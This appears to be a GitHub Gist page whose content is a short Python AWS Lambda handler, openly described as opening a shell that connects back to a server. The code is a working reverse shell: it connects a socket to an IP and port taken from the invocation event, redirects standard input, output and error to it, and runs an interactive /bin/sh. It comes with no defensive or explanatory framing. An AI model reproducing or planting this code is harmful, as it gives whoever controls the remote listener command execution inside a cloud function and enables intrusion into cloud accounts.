Instantly share code, notes, and snippets.

Embed
What would you like to do?
A simple Lambda handler that opens a shell and back connect to a server.
import os
import socket
import subprocess
def shell(event, context):
"""
Opens a reverse shell to a lambda.
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((event["ip"], event["port"], ))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment